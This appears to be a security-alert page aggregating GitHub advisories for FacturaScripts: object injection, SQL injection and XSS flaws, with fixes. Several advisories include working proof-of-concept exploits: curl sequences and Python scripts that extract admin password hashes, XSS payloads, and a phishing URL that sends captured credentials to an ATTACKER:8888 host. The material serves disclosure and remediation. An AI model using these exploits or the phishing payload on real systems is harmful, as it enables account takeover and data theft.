Where
-Infinity
0
Severity
6.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

FacturaScripts before version 2026.7 contains a PHP object injection vulnerability in WidgetSelect::processFormData() that allows authenticated attackers to trigger unserialize() on raw POST data without an allowedclasses filter for multiple-select fields. Attackers can submit a serialized XLSXWriter object as the field value to invoke its destruct() method, deleting arbitrary attacker-specified files such as config.php or backup data, resulting in denial of service and potential application reinstall hijack.

First published (updated )
Severity
8.8
EPSS
0.02%
Input Validation, SQL Injection, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.

---

Details

Multiple controllers in FacturaScripts, including CopyModel, ListController, and PanelController, implement an autocomplete action that processes user input through the CodeModel::search() or CodeModel::all() methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.

Vulnerable Code Location

File: /Core/Model/CodeModel.php Method: all() Lines: 108-109

php public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ......

// VULNERABLE CODE: $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description ' . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC'; foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); }

return $result; }

Vulnerable Parameters

The following parameters are vulnerable to SQL Injection:

1. source → Maps to $tableName - Table name injection 2. fieldcode → Maps to $fieldCode - Column name injection 3. fieldtitle → Maps to $fieldDescription - Column name injection (Primary attack vector)

Attack Flow

1. Attacker authenticates with valid credentials (any user role) 2. Attacker sends POST request to /CopyModel with action=autocomplete 3. Malicious SQL functions/queries are injected via the fieldtitle parameter 4. Application executes the injected SQL and returns results in JSON format 5. Attacker extracts sensitive data from the database

---

Proof of Concept (PoC)

Prerequisites - Valid authentication credentials (admin/admin in test instance) - Access to FacturaScripts web interface

Step-by-Step Manual Exploitation (CLI)

Since FacturaScripts uses MultiRequestProtection, a valid multireqtoken is required for every POST request.

1. Obtain initial token and session cookie: FacturaScripts redirects / to /login, so we use -L to follow redirects and -c to save the session cookie. bash TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+') echo $TOKEN

2. Authenticate (Login): Use the saved cookie and the token to log in. bash curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" \ -d "fsPassword=admin" \ -d "action=login" \ -d "multireqtoken=$TOKEN"

3. Extract Database Version: Obtain a fresh token for the next request and execute the injection. bash Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=version()" \ -d "term=admin" \ -d "multireqtoken=$TOKEN"

4. Extract Database User and Name: bash Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=concat(user(),' @ ',database())" \ -d "term=admin" \ -d "multireqtoken=$TOKEN"

5. Extract Admin Password Hash: bash Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=password" \ -d "term=admin" \ -d "multireqtoken=$TOKEN"

Automated Exploitation Script

python #!/usr/bin/env python3 """ FacturaScripts SQL Injection Exploit - Autocomplete Author: Łukasz Rybak """

import requests import re import json

Configuration BASEURL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin"

session = requests.Session()

def getcsrftoken(url): """Extract CSRF token from page""" response = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text) return match.group(1) if match else None

def login(): """Authenticate to FacturaScripts""" print(f"[] Logging in as {USERNAME}...") token = getcsrftoken(f"{BASEURL}/login") if not token: print("[!] Failed to get CSRF token") exit()

data = { "multireqtoken": token, "action": "login", "fsNick": USERNAME, "fsPassword": PASSWORD } response = session.post(f"{BASEURL}/login", data=data)

if "Dashboard" not in response.text: print("[!] Login failed!") exit() print("[+] Successfully logged in.")

def exploitsqli(fieldpayload, term="admin", source="users", fieldcode="nick"): """Execute SQL injection through autocomplete""" data = { "action": "autocomplete", "source": source, "fieldcode": fieldcode, "fieldtitle": fieldpayload, "term": term } response = session.post(f"{BASEURL}/CopyModel", data=data) try: return response.json() except: return None

def main(): login()

print("\n" + "="60) print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ") print("="60 + "\n")

# 1. Database version print("[] Extracting database version...") res = exploitsqli("version()") if res: print(f"[+] Database Version: {res[0]['value']}")

# 2. Current user and database print("[] Extracting DB user and database name...") res = exploitsqli("concat(user(),' @ ',database())") if res: print(f"[+] DB User @ Database: {res[0]['value']}")

# 3. Admin password hash print("[] Extracting admin password hash...") res = exploitsqli("password", term="admin") if res: print(f"[+] Admin Password Hash: {res[0]['value']}")

# 4. All table names print("[] Extracting table names...") res = exploitsqli("(SELECT GROUPCONCAT(tablename) FROM informationschema.tables WHERE tableschema=database())") if res: print(f"[+] Tables: {res[0]['value']}")

print("\n[+] Exploitation complete!")

if name == "main": main() <img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />

---

Impact

This SQL injection vulnerability has CRITICAL impact:

Data Confidentiality - Complete database disclosure - Attacker can extract all data including: - User credentials (password hashes) - Customer information (names, addresses, tax IDs, etc.) - Financial records (invoices, payments, bank details) - Business logic and configuration data - Plugin and system settings

Who is Impacted? - All FacturaScripts installations running vulnerable versions - All authenticated users can exploit (not just admins) - Businesses using FacturaScripts for accounting/invoicing - Customers whose data is stored in the system

---

Recommended Fix

Immediate Remediation

Option 1: Use Prepared Statements

php // File: Core/Model/CodeModel.php // Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ... validation code ...

// Validate and escape identifiers $safeTableName = self::db()->escapeColumn($tableName); $safeFieldCode = self::db()->escapeColumn($fieldCode); $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

// Use parameterized query $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description ' . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); }

return $result; } Credits

Discovered by: Łukasz Rybak

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.02%
Input Validation, SQL Injection, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.

---

Details

The FacturaScripts REST API exposes database models through various endpoints (e.g., /api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.

Vulnerable Code Locations

1. Legacy Models: File: /Core/Model/Base/ModelClass.php Method: getOrderBy() Direct concatenation of keys and values from the $order array.

2. Modern Models (DbQuery): File: /Core/DbQuery.php Method: orderBy() Lines: 255-259 php // If it contains parentheses, it is not escaped (VULNERABILITY!) if (strpos($field, '(') !== false && strpos($field, ')') !== false) { $this->orderBy[] = $field . ' ' . $order; return $this; } This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.

---

Proof of Concept (PoC)

Prerequisites - Valid API authentication token (X-Auth-Token header) - Access to FacturaScripts API endpoints

Step-by-Step Verification (CLI)

Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.

1. Login and Retrieve a valid API key: We handle the CSRF token and session cookies to access the settings and retrieve the first available key. bash Login TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1) curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

Find the ID of the first existing API key APIID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

Extract the API key string using its ID APIKEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$APIID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1) echo "Using API Key: $APIKEY"

2. Verify Time-Based SQL Injection: Use the extracted APIKEY in the X-Auth-Token header. bash Normal request (baseline) time curl -g -s -H "X-Auth-Token: $APIKEY" "http://localhost:8091/api/3/users?limit=1"

Injected request (SLEEP payload in the sort key) time curl -g -s -H "X-Auth-Token: $APIKEY" \ "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.

---

Automated Exploitation Tool

This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.

python import requests import time import string import re

Configuration BASEURL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin" APIENDPOINT = "/api/3/users"

session = requests.Session()

def gettoken(url): """Extract multireqtoken from any page""" res = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text) return match.group(1) if match else None

def getapikey(): """Logs in and retrieves the first active API key dynamically""" print(f"[] Logging in as {USERNAME}...") # 1. Login flow token = gettoken(f"{BASEURL}/login") if not token: print("[!] Failed to get initial CSRF token") return None logindata = { "fsNick": USERNAME, "fsPassword": PASSWORD, "action": "login", "multireqtoken": token } res = session.post(f"{BASEURL}/login", data=logindata) if "Dashboard" not in res.text: print("[!] Login failed!") return None print("[+] Login successful.")

# 2. Retrieve API Key ID from settings print("[] Accessing API settings...") res = session.get(f"{BASEURL}/EditSettings?activetab=ListApiKey") idmatch = re.search(r'EditApiKey\?code=(\d+)', res.text) if not idmatch: print("[!] No API keys found in system!") return None apiid = idmatch.group(1) # 3. Get the actual API key string print(f"[] Retrieving API key for ID {apiid}...") res = session.get(f"{BASEURL}/EditApiKey?code={apiid}") keymatch = re.search(r'name="apikey" value="([^"]+)"', res.text) if not keymatch: print("[!] Failed to extract API key from page!") return None return keymatch.group(1)

def timebasedsqli(apikey, payload): """Execute time-based SQL injection and measure response time""" headers = {"X-Auth-Token": apikey} params = { 'limit': 1, f'sort[{payload}]': 'ASC' } start = time.time() try: requests.get(f"{BASEURL}{APIENDPOINT}", headers=headers, params=params, timeout=10) except requests.exceptions.ReadTimeout: return 10.0 except: pass return time.time() - start

def extractdata(apikey, query, length=60): """Extracts data char by char using time-based blind SQLi""" extracted = "" charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./" print(f"[] Starting extraction for query: {query}") for i in range(1, length + 1): found = False for char in charset: # Added BINARY to force case-sensitive comparison payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))" elapsed = timebasedsqli(apikey, payload) if elapsed >= 2.0: extracted += char print(f"[+] Found char at pos {i}: {char} -> {extracted}") found = True break if not found: break return extracted

def main(): print("="60) print(" FacturaScripts Dynamic SQLi Exfiltration Tool") print("="60)

# 1. Get API Key dynamically apikey = getapikey() if not apikey: return print(f"[+] Using API Key: {apikey}")

# 2. Verify vulnerability print("[] Verifying vulnerability...") if timebasedsqli(apikey, "(SELECT SLEEP(2))") >= 2.0: print("[+] System is VULNERABLE!") else: print("[-] System not vulnerable or API key invalid.") return

# 3. Extract Admin Password Hash adminhash = extractdata(apikey, "SELECT password FROM users WHERE nick='admin'") print(f"\n[!] FINAL ADMIN HASH: {adminhash}")

if name == "main": main() <img width="862" height="1221" alt="image" src="https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273" />

---

Impact

Data Confidentiality - Complete database disclosure through blind SQL Injection techniques - Extraction of sensitive data including: - User credentials and API keys - Customer PII (personal identifiable information) - Financial records and transaction data - Business intelligence and pricing information - System configuration and secrets

Who is Impacted? - Organizations using FacturaScripts API for integrations - Mobile apps and third-party integrations using the API - All users whose data is accessible via API - Business partners with API access

---

Recommended Fix

Immediate Remediation

Option 1: Implement Strict Whitelist Validation (Recommended)

php // File: Core/Model/Base/ModelClass.php // Method: getOrderBy()

private static function getOrderBy(array $order): string { $result = ''; $coma = ' ORDER BY ';

// Get valid column names from model $validColumns = arraykeys(static::getModelFields());

foreach ($order as $key => $value) { // Validate column name against whitelist if (!inarray($key, $validColumns, true)) { throw new \Exception('Invalid column name for sorting: ' . $key); }

// Validate sort direction (must be ASC or DESC) $value = strtoupper(trim($value)); if (!inarray($value, ['ASC', 'DESC'], true)) { throw new \Exception('Invalid sort direction: ' . $value); }

// Escape column name $safeColumn = self::$dataBase->escapeColumn($key); $result .= $coma . $safeColumn . ' ' . $value; $coma = ', '; }

return $result; }

Option 2: Use Database Escaping Functions

php private static function getOrderBy(array $order): string { $result = ''; $coma = ' ORDER BY ';

foreach ($order as $key => $value) { // Escape identifiers and validate direction $safeColumn = self::$dataBase->escapeColumn($key); $safeDirection = inarray(strtoupper($value), ['ASC', 'DESC']) ? strtoupper($value) : 'ASC';

$result .= $coma . $safeColumn . ' ' . $safeDirection; $coma = ', '; }

return $result; }

Option 3: Use Query Builder Pattern

php // Refactor to use prepared statements public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array { $query = self::table();

// Apply WHERE conditions foreach ($where as $condition) { $query->where($condition); }

// Apply ORDER BY with validation foreach ($order as $column => $direction) { if (!arraykeyexists($column, static::getModelFields())) { continue; // Skip invalid columns } $query->orderBy($column, $direction); }

return $query->offset($offset)->limit($limit)->get(); }

API Security Best Practices

php // Add to API configuration $config = [ 'maxsortfields' => 3, // Limit number of sort fields 'allowedsortfields' => ['id', 'date', 'name'], // Whitelist 'defaultsort' => 'id ASC', // Safe default ];

---

Credits

Discovered by: Łukasz Rybak

1 / 2
Source: GitHub
First published (updated )
Severity
9
EPSS
0.01%
XSS, CSRF
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Summary A Stored Cross-Site Scripting (XSS) vulnerability was discovered in the Observations field. The flaw occurs in the History view, where historical data is rendered without proper HTML entity encoding. This allows an attacker to execute arbitrary JavaScript in the browser of viewing the history by administrators.

Details When an administrator views the History tab of that specific note, the script executes in their browser session.

PoC

1. Log in as a regular user. 2. Open "Sales"=>"Customers"=> "Delivery Notes" <img width="818" height="223" alt="image" src="https://github.com/user-attachments/assets/82518644-2676-42db-93b1-86133986276c" />

3. Chose one of the customer or create the new one.

4. Open "Delivery notes" <img width="2078" height="713" alt="image" src="https://github.com/user-attachments/assets/f7e5027f-e574-4807-9e9c-bf8a51bc1fff" /> 5. Create a new Delivery Note or edit an existing one. Fill the "Number 2" field with any value and save. <img width="2097" height="739" alt="image" src="https://github.com/user-attachments/assets/a3ca5ccb-3d9a-4cfc-a991-16206a1a862b" /> <img width="2097" height="858" alt="image" src="https://github.com/user-attachments/assets/9ca39755-4be6-4303-ab3c-b589cd222daf" /> 6. In the Observations field, enter the malicious JavaScript and save it again. <img width="2097" height="870" alt="image" src="https://github.com/user-attachments/assets/f189c53b-8b73-44e8-bb18-bd46f37cef4f" /> <img width="1539" height="885" alt="image" src="https://github.com/user-attachments/assets/b2d20eb1-246e-4acc-b904-77bc85373873" /> 7. Now we have record in "History" tab. <img width="2096" height="768" alt="image" src="https://github.com/user-attachments/assets/6b76d7d4-fc2c-4eb1-9137-4e4ba7287b9b" /> 8. Logout and login as admin. Next go to the "History" tab with malicious code: <img width="1730" height="702" alt="image" src="https://github.com/user-attachments/assets/54f4af37-72f3-47a0-9669-2b1f6293f2b4" /> <img width="1749" height="670" alt="image" src="https://github.com/user-attachments/assets/f7689083-0128-473c-a4e2-1898e801df78" /> <img width="1479" height="587" alt="image" src="https://github.com/user-attachments/assets/4a6d6e4e-4645-4566-be92-9964c470456e" /> <img width="1541" height="505" alt="image" src="https://github.com/user-attachments/assets/484d9e5f-596a-4508-a9cb-752e16e6564f" /> <img width="2095" height="904" alt="image" src="https://github.com/user-attachments/assets/5462f11c-b274-40e6-af00-d10e7fc1e855" />

Result: Upon opening the history record, the onerror event triggers, executing the JavaScript and displaying an alert box with the application's origin.

Impact

Change admin password via XSS: <img width="2094" height="1260" alt="image" src="https://github.com/user-attachments/assets/7598f986-0618-46e1-9dc7-64655975b19e" /> <img width="1584" height="1137" alt="image" src="https://github.com/user-attachments/assets/3e2302bc-01a3-4c47-ba9a-e69413e932b3" /> <img width="2084" height="373" alt="image" src="https://github.com/user-attachments/assets/21523278-5bcc-4743-8557-4b6563a127d0" /> <img width="1665" height="787" alt="image" src="https://github.com/user-attachments/assets/eca4d5b7-5dec-410f-9c59-99084821e350" /> Admin password was changed <img width="1488" height="598" alt="image" src="https://github.com/user-attachments/assets/53d3f4c1-accd-4136-8235-0fe5b287bbfe" />

This vulnerability results in a Critical Full Account Takeover, allowing any user with note-editing permissions to seize control of the admin account. It successfully bypasses CSRF protections and exploits the lack of "current password" verification during credential changes. Once compromised, the attacker gains total access to the system's management, sensitive financial data, and user configurations.

Technical requirements & Complexity The attack requires prior technical knowledge of the internal API structure (field names and required values), which can be obtained by a legitimate user through browser developer tools. While it requires the target's code (e.g., admin), this is a common default value in most installations.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
EPSS
0.01%
XSS, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Reflected XSS via SQL Error Messages

Summary

A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.

Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).

CVSS 6.1 (Medium-High)

---

What was Found

Where the bug exists in the code:

Core/View/Macro/Utils.html.twig, line 27:

twig {% for item in messages %} <div>{{ item.message | raw }}</div> {% endfor %}

That | raw is the problem. It tells Twig not to escape anything.

How it works

So here's what happens:

1. Hhit /EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)> 2. The app tries to look up a product with that "code" 3. PostgreSQL throws an error because <svg onload=alert(1)> isn't a valid integer 4. The error goes something like: ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>" LINE 1: SELECT FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>" 5. This gets logged via MiniLog and displayed to the user 6. Because of | raw, the browser actually executes the JS

The error logging happens in Core/Base/DataBase.php around line 236:

php self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);

And PostgreSQL's error message includes whatever garbage it was sent.

---

Reproduction Steps

Requirements - Working FacturaScripts install - Any user account (doesn't need to be admin) - The victim needs to be logged in

Quick test

Just visit this URL while logged in: http://localhost/EditProducto?code=<svg onload=alert(document.domain)>

An alert box should pop up.

For a real attack (credential phishing)

Set up a simple server to catch credentials:

python from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parseqs

class Handler(BaseHTTPRequestHandler): def doGET(self): q = parseqs(urlparse(self.path).query) print(f"\nGot creds:") print(f" User: {q.get('user', ['?'])[0]}") print(f" Pass: {q.get('pass', ['?'])[0]}") self.sendresponse(200) self.endheaders() def logmessage(self, args): pass

HTTPServer(('', 8888), Handler).serveforever()

Then craft a URL that injects a fake login form:

http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">

Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.

Other endpoints that work

Pretty much anything that uses the code parameter: - /EditProducto?code= - /EditCliente?code= - /EditFacturaCliente?code= - /EditProveedor?code= - etc.

Basically all the Edit controllers.

---

Impact

What attackers can do with this

Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.

Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.

Keylog - Inject a keylogger that captures everything they type.

Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.

What attackers CAN'T do

Can't steal session cookies via document.cookie - they're HttpOnly.

Business side

This is a financial app, so if attackers compromise an admin account, the following is possible to create or expose: - Fake invoices - Redirected payments - Customer data breach (GDPR stuff) - The usual mess

---

Fix

Quick fix

Just remove | raw from line 27 in Core/View/Macro/Utils.html.twig:

diff - <div>{{ item.message | raw }}</div> + <div>{{ item.message }}</div>

That's it. Twig escapes by default, so removing | raw fixes the XSS.

If projects want to be thorough

1. Sanitize messages before they go into the log: php $message = htmlspecialchars($message, ENTQUOTES, 'UTF-8');

2. Add CSP headers to block inline scripts as a backup

3. Maybe validate the code parameter format before it hits the database

---

Resources

- https://cwe.mitre.org/data/definitions/79.html - https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html

---

Found: Dec 31, 2025 Tested on: FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest) <img width="1917" height="868" alt="1" src="https://github.com/user-attachments/assets/a7d770c8-1d61-499c-83dc-e21be8e61c87" /> <img width="337" height="130" alt="3" src="https://github.com/user-attachments/assets/463067ee-3a73-45ed-af26-c32264d5bf41" /> <img width="1915" height="870" alt="phising" src="https://github.com/user-attachments/assets/6e15a021-dc5f-4708-bdd1-887ecb2d2ffb" /> <img width="1915" height="862" alt="phising2" src="https://github.com/user-attachments/assets/100a63b6-c066-43d5-ab39-6085f51ba282" /> <img width="1918" height="877" alt="sql erroe" src="https://github.com/user-attachments/assets/4c3182ba-380d-44d4-ab34-4b0840ad3e39" /> <img width="1165" height="277" alt="version" src="https://github.com/user-attachments/assets/5f23e4de-cf03-4fcf-a6c5-6ca327c8c43a" />

1 / 2
Source: GitHub
First published (updated )
Severity
1.2
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A stored cross-site scripting (XSS) vulnerability exists in the product file upload functionality.

Authenticated users can upload crafted XML files containing executable JavaScript. These files are later rendered by the application without sufficient sanitization or content-type enforcement, allowing arbitrary JavaScript execution when the file is accessed.

Because product files uploaded by regular users are visible to administrative users, this vulnerability can be leveraged to execute malicious JavaScript in an administrator’s browser session.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203